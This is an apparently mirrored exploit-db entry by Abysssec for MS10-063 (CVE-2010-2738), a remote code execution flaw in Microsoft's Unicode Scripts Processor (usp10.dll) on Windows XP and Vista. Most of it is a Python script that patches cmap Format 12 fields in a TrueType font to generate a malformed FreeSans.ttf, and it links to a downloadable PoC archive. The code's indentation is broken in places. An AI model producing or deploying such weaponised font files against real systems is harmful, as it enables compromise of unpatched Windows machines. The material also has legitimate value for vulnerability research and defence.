Microsoft Unicode Scripts Processor – Remote Code Execution (MS10-063) - 体验盒子

作者： Abysssec

日期： 2010-09-30

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/15158/

'''
 
________ __ ____
 |\/|/ __ \ /\| || |_ \ 
 | \/ | || | /\ | || | |_) |
 | |\/| | || |/ /\ \| || |_ <(Final Binary Analysis)
 | || | |__| / ____ \ |__| | |_) |
 |_||_|\____/_/\_\____/|____/ 

'''

'''
Title : Microsoft Unicode Scripts Processor Remote Code Execution 
Version : usp10.dll XP , Vista
Analysis: http://www.abysssec.com
Vendor: http://www.microsoft.com
Impact: Critical
Contact : shahin [at] abysssec.com , info[at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2738
MOAUB Number: MOAUB-FINAL

http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip)
'''

import sys
import struct
def main():
 
try:
				
		fdR = open('src.ttf', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:18316]
		nGroups = '\x00\x00\x00\xDC'# nGroups field from Format 12 subtableof cmap table
		startCharCode = '\x00\xE5\xF7\x20'# startCharCodefield from a Group Structure
		endCharCode= '\x00\xE5\xF7\xFE' # endCharCodefield from a Group Structure
		str2 = strTotal[18328:]
		
		fdW= open('FreeSans.ttf', 'wb+')
		fdW.write(str1)
		fdW.write(nGroups)
		fdW.write(startCharCode)
		fdW.write(endCharCode)
		fdW.write(str2)
		fdW.close()
		fdR.close()
		print '[-] Font file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)

if __name__ == '__main__':
main()